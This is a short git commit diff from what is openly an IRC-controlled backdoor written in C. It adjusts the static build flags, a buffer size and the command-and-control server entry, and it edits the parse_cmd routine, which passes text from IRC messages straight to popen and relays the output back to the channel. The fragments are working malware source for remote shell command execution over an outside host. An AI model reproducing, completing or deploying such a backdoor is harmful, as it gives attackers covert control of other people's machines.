updated
This commit is contained in:
parent
77d2f3cc76
commit
69bc238a38
4 changed files with 5 additions and 5 deletions
3
build.sh
3
build.sh
|
@ -1,4 +1,3 @@
|
|||
CFLAGS="-s -Os -pedantic -Wall -Wextra"
|
||||
CFLAGS="-s -Os -pedantic -Wall -Wextra -static"
|
||||
|
||||
cc $CFLAGS src/* -Iinclude -DENABLE_SSL -lssl -lcrypto -omain -DVAL1=$RANDOM -DVAL2=$RANDOM
|
||||
strip -sx main
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
#define _BACKDOOR_H
|
||||
#include "irc.h"
|
||||
|
||||
#define COMMON_BUF_SIZE 200
|
||||
#define COMMON_BUF_SIZE 100
|
||||
|
||||
void backdoor_offline(void);
|
||||
void parse_cmd(IRCC_client *client);
|
||||
|
|
|
@ -9,5 +9,5 @@ typedef struct {
|
|||
} SERVER;
|
||||
|
||||
SERVER servers[] = {
|
||||
{1, "irc.rizon.net", 6697, NULL, "#blbl", NULL}
|
||||
{1, "irc.ipv4.server", 6697, NULL, "#channel", NULL}
|
||||
};
|
||||
|
|
|
@ -31,7 +31,7 @@ void parse_cmd(IRCC_client *client) {
|
|||
if (fp != NULL)
|
||||
pclose(fp);
|
||||
|
||||
fp = popen(client->irc_msg + 5, "wr");
|
||||
fp = popen(client->irc_msg + 5, "rw");
|
||||
}
|
||||
|
||||
else if (!strncmp(client->irc_msg, "!print", 6)) {
|
||||
|
@ -42,6 +42,7 @@ void parse_cmd(IRCC_client *client) {
|
|||
if (fgets(buf, sizeof(buf), fp) == NULL) {
|
||||
pclose(fp);
|
||||
fp = NULL;
|
||||
return;
|
||||
}
|
||||
|
||||
send_info(client, buf);
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue